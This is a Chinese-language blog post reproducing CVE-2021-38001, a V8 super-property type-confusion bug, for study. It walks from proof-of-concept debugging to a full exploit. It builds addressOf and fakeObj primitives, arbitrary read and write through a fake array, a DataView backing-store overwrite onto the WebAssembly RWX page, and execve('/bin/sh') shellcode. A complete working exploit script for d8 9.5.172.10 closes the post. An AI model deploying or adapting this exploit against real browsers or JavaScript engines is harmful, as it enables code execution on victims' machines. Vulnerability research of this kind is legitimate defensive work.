CVE-2021-38001复现

环境搭建

1
2
3
4
git checkout 9.5.172.10
gclient sync -D
gn gen out/CVE-2021-38001.release/ --args='is_debug = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true symbol_level=2 target_cpu = "x64" v8_untrusted_code_mitigations = false'
ninja -C out/CVE-2021-38001.release/ -j8 d8

可能是因为版本过于久远,试了网上很多的版本,都没法正常运行poc,最后这个版本9.5.172.10是正常的,可以拿到shell

前置知识

原型链

了解即可

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

Inline Cache

https://mathiasbynens.be/notes/shapes-ics

v8堆喷

仅作记录

代码分析

1
2
3
4
%SystemBreak();
a = Array(0x8000);
%DebugPrint(a);
%SystemBreak();

下图红框处为堆内存

步过之后,这块内存增长了0x23000

简单的看下结构

1
2
3
4
5
0x00:整个结构的大小为0x23000
0x18:已有数据块内容的起始地址
0x20:空闲区域的起始地址
0x28:已有数据块的大小
0x38:结构头的大小0x2118

漏洞分析

基本信息

此处为该cve的commit

对此commit的详细分析https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md

poc分析

首先有两个文件,分别是1.mjs2.mjs

1.mjs的内容如下

1
2
3
export let x = {};
export let y = {};
export let z = {};

2.mjs的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;

// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();

c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;

// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}

for (let i = 0; i < 0x100; i++) {
trigger();
}
}

poc();

这个poc定义了一个函数,函数内存在一个C类,C类中有一个m方法。接着定义了一个zz的对象,同时又定义了trigger函数,函数内对于C的原型链进行了修改,同时为C添加了x0``x1……x4的属性,res保存c执行完m方法的值,最后通过最后的一个for循环来调用trigger

看一下执行完这个poc的效果

卡在了给r8d寄存器赋值的位置,此时r8的值就是poc里添加的几个变量的值,前面多出来的前缀是由于指针压缩,真实的值=r8-r14=0x42424242

分析下这个poc里调用c.m()时的原型链

被trigger函数修改之前:{} -> C.prototype -> Object.prototype -> null

被trigger函数修改之后:{} -> C.prototype -> zz -> module -> {} -> y.prototype -> Object.prototype -> null

这里可以把zz给精简掉,不影响最后的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

function trigger() {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = 0x42424242 / 2;
%DebugPrint(c);
let res = c.m();
return res;
}


for (let i = 0; i < 10; i++) {
trigger(0);
}
let evil = trigger();
%DebugPrint(evil);
%SystemBreak();
}

poc();

一样的效果

任然阻塞

但是此时的0x42424242被写入成功了,555819297也就是0x42424242/2

继续修改poc

这里添加一个array1的对象,然后对象数组的键值赋值为0x42424242,接着c.x0 = array1;

改动代码如下

1
2
3
4
5
6
7
8
...
var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = 0x42424242 / 2;
}
...
c.x0 = array1;
...

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

function trigger(flag) {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = 0x42424242 / 2;
if (flag == 1){
%DebugPrint(c);
}
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger(0);
}
let evil = trigger(1);
%DebugPrint(evil);
%SystemBreak();
}

poc();

调试效果

此时任然是卡住了,卡在了0x42424242这个值

但是此时此处是一个可控可访问可伪造的对象

job看下

那么此时的思路就有了,可以伪造一个对象数组,这样就可以控制R8的值,让其等于一个合法的地址

添加如下代码

1
2
3
4
5
6
7
8
var array1 = {};
var array2 = {};
for (let i = 0x0; i < 0x10; i++) {
array2['x'+i] = 0x40404040 / 2;
}
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = array2;
}

可控的对象

那么思路其实就明确了,通过array1可以伪造出一些地址,达到非法读写的效果

下面直接这样修改array1['x'+i] = 0x4040404040404040;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import * as module from "1.mjs";

var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = 0x4040404040404040;
}

function poc() {
class C {
m() {
return super.y;
}
}

function trigger(flag) {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = array1;
if (flag == 1){
%DebugPrint(c);
}
let res = c.m();
return res;
}


for (let i = 0; i < 10; i++) {
trigger(0);
}
let evil = trigger(1);
%DebugPrint(evil);
%SystemBreak();
}

poc();

可以发现这里已经成功伪造了evil的地址

漏洞利用

这里参照了[Loora1N](https://loora1n.github.io/)师傅的方法,通过利用poc伪造element和map,但这里的element和map都是已经存在的结构,也就是在内存中存在,可以通过代码控制

首先就是一些准备工作,先获取double_array_map和object_array_map的地址,这里可以创建一个double 的数组对象和一个对象

1
2
3
4
5
var double_array = new Array(0x10).fill(1.1);
var obj = {"a":1};
var obj1 = [obj];
%DebugPrint(double_array);
%DebugPrint(obj1);

需要的数值,其中element_addr就是数组a1的element,fake_elements_addr就是数组a2的element

这样就可以通过a2来控制evil的element

a1就是用来伪造对象

通常的对象结构如下

1
2
3
4
5
6
7
8
9
map of element
element length
element_1
element_2
element_xxxx
map of js_obj
properties
elements
length
1
2
3
4
5
6
7
8
9
10
11
12
var element_addr = 0x082c2118; 
var double_array_map_addr = 0x08203b09-1;
var obj_array_map_addr = 0x08203b31-1;
var fake_elements_addr = 0x08442118;

// 对于伪造的对象来说,map需要被设置为jsobj,element需要被设置位double array
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
a1[0x8/0x8] = u2d(fake_elements_addr+1,4);
a2[0x0/0x8] = u2d(double_array_map_addr+1,0);

// console.log(typeof element_addr);
var evil_addr = element_addr + 0x8;

接着通过poc触发,打印evil看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function poc() {
class C {
m() {
return super.y;
}
}
var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = u2d(evil_addr+1,0x40404040);
}
function trigger() {
C.prototype.__proto__ = module;
let c = new C();
c.x0 = array1;
let res = c.m();
return res;
}

for (let i = 0; i < 10; i++) {
trigger(0);
}
let res = trigger();
return res;
}
var evil = poc();

此时的evil起始地址是a1+8,然后elements地址是a2

这样就可以编写addressOffakeObj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function addressOf(obj){
a1[0x0/0x8] = u2d(obj_array_map_addr+1,0);
evil[0] = obj;
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
let leak_addr = f2i(evil[0])-1n;
// console.log(typeof leak_addr);
return leak_addr;
}

function fakeObj(addr){
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
a2[0x0/0x8] = u2d(addr+1,0);
a1[0x0/0x8] = u2d(obj_array_map_addr+1,0);
let obj = evil[0];
return obj;
}

wasm code 的准备工作

1
2
3
4
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var pwn = wasmInstance.exports.main;

泄露wasmInstance的地址

1
2
3
4
var wasmInstance_addr = addressOf(wasmInstance);
wasmInstance_addr = i2ul(wasmInstance_addr);
// console.log(typeof wasmInstance_addr);
hexx("wasmInstance_addr",hex(wasmInstance_addr));

构造一个fake_array,来实现AAR/AAW

1
2
3
4
var fake_array = [
u2d(double_array_map_addr+1,0),
i2f(0x4141414142424242n),
]

泄露fake_array的地址,然后跟踪到fake_array.elements的位置,不同版本不太一样这个(高版本不太清楚了

fake_array的结构

然后fake_obj的地址也就是要到达fake_array[1]的地址,也就是得在fake_array的基础上+0x24

1
2
3
4
5
6
7
8
var fake_array_addr = addressOf(fake_array);
hexx("fake_array_addr",hex(fake_array_addr));

var fake_obj_addr = fake_array_addr + 0x24n;
fake_obj_addr = i2ul(fake_obj_addr)
hexx("fake_obj_addr",(hex(fake_obj_addr)));

var fake_obj = fakeObj((fake_obj_addr));

有了fake_obj就可以写AAR/AAW了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function AAR(addr){
// stop();
fake_array[1] = u2d(addr+1-8,2);
let res=fake_obj[0];
res = f2i(res);
return res;
}

function AAW(addr,val){
fake_array[1] = u2d(addr+1-8,2);
// p()
// stop();
fake_obj[0]=i2f(val);
}

下面就是读出来wasm的rwx段,这个版本的instance偏移是0x60

1
2
3
4
var rwx_page_addr = AAR(wasmInstance_addr+0x60);

p(pwn);
p(wasmInstance);

p就是封装了下debugprint

找wasm的instance

找rwx段

接着通过dataview写入shellcode

流程是先泄露dataview的地址,然后计算得出其backing_store_addr,接着修改backing_store_addr为rwx_page_addr,然后就可以写入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function copy2rwx(){
var buffer = new ArrayBuffer(0x20);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);
data_view_addr = i2ul(data_view_addr);
var backing_store_addr = data_view_addr-0x40+0x1c;
hexx("data_view_addr",hex(data_view_addr));
hexx("backing_store_addr",hex(backing_store_addr));
// p(data_view);
AAW(backing_store_addr,rwx_page_addr);
for (let i = 0; i < 3; i++){
data_view.setBigInt64(0+i*0x8,shellcode[i],true);
}
}

dataview,通过buffer找backing_store_addr

此时的backing_store_addr已经被修改为rwx_page_addr

然后就是拿shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
import * as module from "1.mjs";

var f64 = new Float64Array(1);
var int64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);


function p(arg){
%DebugPrint(arg);
}


function debug(arg){
%DebugPrint(arg);
%SystemBreak();
}

function stop(){
%SystemBreak();
}

function u2d(lo, h){
u32[0]=lo;
u32[1]=h;
return f64[0];
}

function f2i(f){
f64[0]=f;
return int64[0];
}

function i2f(i){
int64[0]=i;
return f64[0];
}


function i2ul(i){
int64[0]=i;
return u32[0];
}

function i2uh(i){
int64[0]=i;
return u32[1];
}

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function hexx(str,val){
console.log("[*] "+str+": 0x"+(val));
}

var double_array = new Array(0x10).fill(1.1);
var obj = {"a":1};
var obj1 = [obj];
// %DebugPrint(double_array);
// %DebugPrint(obj1);


var a1 = new Array(0xF400);
var a2 = new Array(0xF400);

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var pwn = wasmInstance.exports.main;
/*申请完毕wasm之后,此时的堆布局会发生变化,原因未知,调试才可以解决*/
var element_addr = 0x082c2118;
var double_array_map_addr = 0x08203b09-1;
var obj_array_map_addr = 0x08203b31-1;
var fake_elements_addr = 0x08442118;

// 对于伪造的对象来说,map需要被设置为jsobj,element需要被设置位double array
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
a1[0x8/0x8] = u2d(fake_elements_addr+1,4);
a2[0x0/0x8] = u2d(double_array_map_addr+1,0);

// console.log(typeof element_addr);
var evil_addr = element_addr + 0x8;

function poc() {
class C {
m() {
return super.y;
}
}
var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = u2d(evil_addr+1,0x40404040);
}
function trigger() {
C.prototype.__proto__ = module;
let c = new C();
c.x0 = array1;
let res = c.m();
return res;
}

for (let i = 0; i < 10; i++) {
trigger(0);
}
let res = trigger();
return res;
}
var evil = poc();

function addressOf(obj){
a1[0x0/0x8] = u2d(obj_array_map_addr+1,0);
evil[0] = obj;
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
let leak_addr = f2i(evil[0])-1n;
// console.log(typeof leak_addr);
return leak_addr;
}

function fakeObj(addr){
a1[0x0/0x8] = u2d(double_array_map_addr+1,0);
a2[0x0/0x8] = u2d(addr+1,0);
a1[0x0/0x8] = u2d(obj_array_map_addr+1,0);
let obj = evil[0];
return obj;
}

function AAR(addr){
// stop();
fake_array[1] = u2d(addr+1-8,2);
let res=fake_obj[0];
res = f2i(res);
return res;
}

function AAW(addr,val){
fake_array[1] = u2d(addr+1-8,2);
// p()
// stop();
fake_obj[0]=i2f(val);
}

function copy2rwx(){
var buffer = new ArrayBuffer(0x20);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);
data_view_addr = i2ul(data_view_addr);
var backing_store_addr = data_view_addr-0x40+0x1c;
hexx("data_view_addr",hex(data_view_addr));
hexx("backing_store_addr",hex(backing_store_addr));
// p(data_view);
AAW(backing_store_addr,rwx_page_addr);

for (let i = 0; i < 3; i++){
data_view.setBigInt64(0+i*0x8,shellcode[i],true);
}

}

var wasmInstance_addr = addressOf(wasmInstance);
wasmInstance_addr = i2ul(wasmInstance_addr);
// console.log(typeof wasmInstance_addr);
hexx("wasmInstance_addr",hex(wasmInstance_addr));

var fake_array = [
u2d(double_array_map_addr+1,0),
i2f(0x4141414142424242n),
]

var fake_array_addr = addressOf(fake_array);
hexx("fake_array_addr",hex(fake_array_addr));

var fake_obj_addr = fake_array_addr + 0x24n;
fake_obj_addr = i2ul(fake_obj_addr)
hexx("fake_obj_addr",(hex(fake_obj_addr)));

var fake_obj = fakeObj((fake_obj_addr));

var rwx_page_addr = AAR(wasmInstance_addr+0x60);
// rwx_page_addr =
hexx("rwx_page_addr",(hex(rwx_page_addr)));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

// AAW(fake_obj_addr+1,0x43434343);
copy2rwx();
pwn();


// p(pwn);
// p(wasmInstance);
// p(fake_obj);
// p(evil);
// p(fake_array);
// p(a1);
// p(a2);
// stop();

参考文章

https://loora1n.github.io/2024/09/20/%E3%80%90V8%E3%80%91HeapSpary/

https://loora1n.github.io/2024/10/17/%E3%80%90V8%E3%80%91CVE-2021-38001-2/?highlight=cve+2021+38001

https://loora1n.github.io/2024/09/30/%E3%80%90V8%E3%80%91CVE-2021-38001-1/?highlight=cve+2021+38001%E5%A4%8D%E7%8E%B0+%E4%B8%8B%E7%AF%87

https://staticccccccc.github.io/2024/03/10/V8/V8%E5%88%A9%E7%94%A8(4)-CVE-2021-38001/

https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md

https://a1ex.online/2021/12/02/cve-2021-38001-%E5%88%86%E6%9E%90/

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

https://mathiasbynens.be/notes/shapes-ics


CVE-2021-38001复现
http://example.com/2025/01/17/CVE-2021-38001/
作者
flyyy
发布于
2025年1月17日
许可协议